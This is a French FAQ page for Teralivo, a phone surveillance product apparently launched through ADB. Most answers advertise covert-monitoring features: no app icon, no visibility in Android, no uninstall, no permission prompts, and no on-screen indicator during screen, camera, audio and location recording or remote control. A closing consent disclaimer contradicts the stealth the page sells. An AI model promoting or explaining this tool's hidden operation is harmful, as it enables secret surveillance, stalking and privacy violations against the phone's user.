Des réponses claires avant la configuration

Questions fréquentes sur Teralivo

Comprenez ce qui est installé, comment le service démarre et s’arrête et si le téléphone affiche un message pendant une collecte ou une assistance autorisée.

Faut-il installer une application sur le téléphone ?

Non. Un ordinateur, un câble USB de données et Chrome permettent de démarrer le programme de surveillance sans installer d’application. Sans ordinateur ni câble, utilisez temporairement Teralivo Setup App pour le démarrer. Une fois le démarrage réussi, vous pouvez désinstaller Teralivo Setup ; le programme de surveillance reste présent.

Une icône Teralivo apparaît-elle sur l’écran d’accueil ?

Le programme démarré avec un ordinateur, un câble USB de données et Chrome ne crée pas d’icône sur l’écran d’accueil. Après l’avoir démarré avec Teralivo Setup App, vous pouvez désinstaller Teralivo Setup ; aucune icône ne reste donc sur l’écran d’accueil.

Ce programme de surveillance est-il visible sur le téléphone ?

Non. Teralivo est un programme de surveillance Linux exécuté en arrière-plan et démarré par ADB, pas une application Android standard. Il ne nécessite aucune installation et n’apparaît pas dans le système Android.

Puis-je désinstaller le service de surveillance ?

Non. Teralivo démarre le programme de surveillance par ADB sans installer d’application ; il n’existe donc aucune application de surveillance à désinstaller.

Peut-on arrêter la surveillance ?

Oui. Connectez-vous, ouvrez Appareils autorisés et dissociez le téléphone. La dissociation révoque l’identifiant de l’appareil et arrête les futurs envois. Si le téléphone est hors ligne, il peut ne recevoir l’instruction de nettoyage qu’à sa prochaine connexion.

Dois-je accorder des autorisations pour la localisation, l’enregistrement d’écran et d’autres fonctions ?

Non. Le programme de surveillance démarre par ADB et n’a pas besoin de demander ces autorisations.

Le téléphone affiche-t-il un indicateur pendant l’utilisation de l’écran, de la caméra, de la localisation, de l’audio ou de l’assistance ?

Non. Le service de surveillance démarre par ADB ; le téléphone n’affiche donc aucun message ni aucune notification pendant l’enregistrement de l’écran, de la caméra, de la localisation, de l’audio ou le contrôle à distance.

Ai-je besoin de l’autorisation de l’utilisateur ?

Utilisez Teralivo uniquement sur votre propre téléphone, sur celui d’un mineur lorsque la loi l’autorise, ou après le consentement préalable, éclairé et écrit de l’utilisateur adulte. Surveillance secrète, harcèlement, enregistrement non autorisé et accès sans permission sont interdits.